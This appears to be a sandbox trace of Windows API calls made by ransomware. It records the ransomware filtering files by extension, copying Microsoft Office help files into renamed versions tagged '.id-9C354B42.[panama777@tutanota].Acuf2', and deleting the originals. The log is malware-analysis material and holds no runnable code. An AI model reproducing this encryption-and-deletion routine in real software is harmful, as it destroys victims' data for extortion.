	[0261.133] lstrlenW (lpString=".7z") returned 3
	[0261.134] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0261.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.134] lstrlenW (lpString=".dbf") returned 4
	[0261.134] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0261.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.134] lstrlenW (lpString=".1cd") returned 4
	[0261.134] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0261.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.134] lstrlenW (lpString=".jpg") returned 4
	[0261.134] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0261.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.134] lstrlenW (lpString=".doc") returned 4
	[0261.134] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0261.134] lstrlenW (lpString=".docx") returned 5
	[0261.134] lstrcmpiW (lpString1=".docx", lpString2="L.HXS") returned -1
	[0261.134] lstrlenW (lpString=".pdf") returned 4
	[0261.134] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0261.134] lstrlenW (lpString=".xls") returned 4
	[0261.134] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0261.134] lstrlenW (lpString=".xlsx") returned 5
	[0261.134] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXS") returned -1
	[0261.134] lstrlenW (lpString=".ppt") returned 4
	[0261.134] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0261.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.134] lstrlenW (lpString=".zip") returned 4
	[0261.134] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0261.134] lstrlenW (lpString=".rar") returned 4
	[0261.134] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0261.134] lstrlenW (lpString=".bz2") returned 4
	[0261.134] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0261.135] lstrlenW (lpString=".7z") returned 3
	[0261.135] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0261.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.135] lstrlenW (lpString=".dbf") returned 4
	[0261.135] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0261.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.135] lstrlenW (lpString=".1cd") returned 4
	[0261.135] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0261.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned 57
	[0261.135] lstrlenW (lpString=".jpg") returned 4
	[0261.135] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0261.135] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0261.135] lstrlenW (lpString="EXCEL_COL.HXC") returned 13
	[0261.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.135] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=621) returned 1
	[0261.135] CloseHandle (hObject=0x360) returned 1
	[0261.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) returned 0x20
	[0261.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.136] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.136] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.136] GetLastError () returned 0x0
	[0261.136] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x26d, lpOverlapped=0x0) returned 1
	[0261.144] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x270, lpOverlapped=0x0) returned 1
	[0261.145] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.145] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xee, lpOverlapped=0x0) returned 1
	[0261.145] SetEndOfFile (hFile=0x2a4) returned 1
	[0261.145] CloseHandle (hObject=0x2a4) returned 1
	[0261.145] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.145] SetEndOfFile (hFile=0x360) returned 1
	[0261.147] CloseHandle (hObject=0x360) returned 1
	[0261.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc")) returned 1
	[0261.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.148] lstrlenW (lpString=".doc") returned 4
	[0261.148] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0261.148] lstrlenW (lpString=".docx") returned 5
	[0261.148] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0261.148] lstrlenW (lpString=".pdf") returned 4
	[0261.148] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0261.148] lstrlenW (lpString=".xls") returned 4
	[0261.148] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0261.148] lstrlenW (lpString=".xlsx") returned 5
	[0261.148] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0261.148] lstrlenW (lpString=".ppt") returned 4
	[0261.148] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0261.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.148] lstrlenW (lpString=".zip") returned 4
	[0261.148] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0261.148] lstrlenW (lpString=".rar") returned 4
	[0261.148] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0261.148] lstrlenW (lpString=".bz2") returned 4
	[0261.148] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0261.149] lstrlenW (lpString=".7z") returned 3
	[0261.149] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0261.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.149] lstrlenW (lpString=".dbf") returned 4
	[0261.149] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0261.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.149] lstrlenW (lpString=".1cd") returned 4
	[0261.149] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0261.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.149] lstrlenW (lpString=".jpg") returned 4
	[0261.149] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0261.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.149] lstrlenW (lpString=".doc") returned 4
	[0261.149] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0261.149] lstrlenW (lpString=".docx") returned 5
	[0261.149] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0261.149] lstrlenW (lpString=".pdf") returned 4
	[0261.149] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0261.149] lstrlenW (lpString=".xls") returned 4
	[0261.149] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0261.149] lstrlenW (lpString=".xlsx") returned 5
	[0261.149] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0261.149] lstrlenW (lpString=".ppt") returned 4
	[0261.149] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0261.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.149] lstrlenW (lpString=".zip") returned 4
	[0261.149] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0261.149] lstrlenW (lpString=".rar") returned 4
	[0261.149] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0261.149] lstrlenW (lpString=".bz2") returned 4
	[0261.149] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0261.150] lstrlenW (lpString=".7z") returned 3
	[0261.150] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0261.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.150] lstrlenW (lpString=".dbf") returned 4
	[0261.150] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0261.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.150] lstrlenW (lpString=".1cd") returned 4
	[0261.150] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0261.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned 61
	[0261.150] lstrlenW (lpString=".jpg") returned 4
	[0261.150] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0261.150] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0261.150] lstrlenW (lpString="EXCEL_COL.HXT") returned 13
	[0261.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.150] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=205) returned 1
	[0261.150] CloseHandle (hObject=0x360) returned 1
	[0261.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) returned 0x20
	[0261.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.151] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.151] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.157] GetLastError () returned 0x0
	[0261.157] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xcd, lpOverlapped=0x0) returned 1
	[0261.158] WriteFile (in: hFile=0x330, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0261.159] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.159] WriteFile (in: hFile=0x330, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xee, lpOverlapped=0x0) returned 1
	[0261.159] SetEndOfFile (hFile=0x330) returned 1
	[0261.159] CloseHandle (hObject=0x330) returned 1
	[0261.159] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.159] SetEndOfFile (hFile=0x360) returned 1
	[0261.163] CloseHandle (hObject=0x360) returned 1
	[0261.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt")) returned 1
	[0261.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.163] lstrlenW (lpString=".doc") returned 4
	[0261.163] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0261.163] lstrlenW (lpString=".docx") returned 5
	[0261.163] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0261.163] lstrlenW (lpString=".pdf") returned 4
	[0261.163] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0261.163] lstrlenW (lpString=".xls") returned 4
	[0261.163] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0261.163] lstrlenW (lpString=".xlsx") returned 5
	[0261.163] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0261.163] lstrlenW (lpString=".ppt") returned 4
	[0261.163] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0261.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.164] lstrlenW (lpString=".zip") returned 4
	[0261.164] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0261.164] lstrlenW (lpString=".rar") returned 4
	[0261.164] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0261.164] lstrlenW (lpString=".bz2") returned 4
	[0261.164] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0261.164] lstrlenW (lpString=".7z") returned 3
	[0261.164] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0261.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.164] lstrlenW (lpString=".dbf") returned 4
	[0261.164] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0261.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.164] lstrlenW (lpString=".1cd") returned 4
	[0261.164] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0261.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.164] lstrlenW (lpString=".jpg") returned 4
	[0261.164] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0261.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.164] lstrlenW (lpString=".doc") returned 4
	[0261.164] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0261.164] lstrlenW (lpString=".docx") returned 5
	[0261.164] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0261.164] lstrlenW (lpString=".pdf") returned 4
	[0261.164] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0261.164] lstrlenW (lpString=".xls") returned 4
	[0261.164] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0261.164] lstrlenW (lpString=".xlsx") returned 5
	[0261.164] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0261.164] lstrlenW (lpString=".ppt") returned 4
	[0261.164] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0261.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.165] lstrlenW (lpString=".zip") returned 4
	[0261.165] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0261.165] lstrlenW (lpString=".rar") returned 4
	[0261.165] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0261.165] lstrlenW (lpString=".bz2") returned 4
	[0261.165] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0261.165] lstrlenW (lpString=".7z") returned 3
	[0261.165] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0261.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.165] lstrlenW (lpString=".dbf") returned 4
	[0261.165] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0261.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.165] lstrlenW (lpString=".1cd") returned 4
	[0261.165] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0261.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned 61
	[0261.165] lstrlenW (lpString=".jpg") returned 4
	[0261.165] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0261.165] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0261.165] lstrlenW (lpString="EXCEL_F_COL.HXK") returned 15
	[0261.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.166] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=114) returned 1
	[0261.166] CloseHandle (hObject=0x360) returned 1
	[0261.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) returned 0x20
	[0261.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.169] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.169] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.170] GetLastError () returned 0x0
	[0261.170] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x72, lpOverlapped=0x0) returned 1
	[0261.171] WriteFile (in: hFile=0x330, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x80, lpOverlapped=0x0) returned 1
	[0261.172] ReadFile (in: hFile=0x360, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.172] WriteFile (in: hFile=0x330, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0261.172] SetEndOfFile (hFile=0x330) returned 1
	[0261.172] CloseHandle (hObject=0x330) returned 1
	[0261.172] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.172] SetEndOfFile (hFile=0x360) returned 1
	[0261.174] CloseHandle (hObject=0x360) returned 1
	[0261.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) returned 1
	[0261.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.175] lstrlenW (lpString=".doc") returned 4
	[0261.175] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.175] lstrlenW (lpString=".docx") returned 5
	[0261.175] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.175] lstrlenW (lpString=".pdf") returned 4
	[0261.175] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.175] lstrlenW (lpString=".xls") returned 4
	[0261.175] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.175] lstrlenW (lpString=".xlsx") returned 5
	[0261.175] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.175] lstrlenW (lpString=".ppt") returned 4
	[0261.175] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.175] lstrlenW (lpString=".zip") returned 4
	[0261.175] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.175] lstrlenW (lpString=".rar") returned 4
	[0261.175] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.175] lstrlenW (lpString=".bz2") returned 4
	[0261.175] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.175] lstrlenW (lpString=".7z") returned 3
	[0261.175] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0261.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.175] lstrlenW (lpString=".dbf") returned 4
	[0261.175] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.176] lstrlenW (lpString=".1cd") returned 4
	[0261.176] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.176] lstrlenW (lpString=".jpg") returned 4
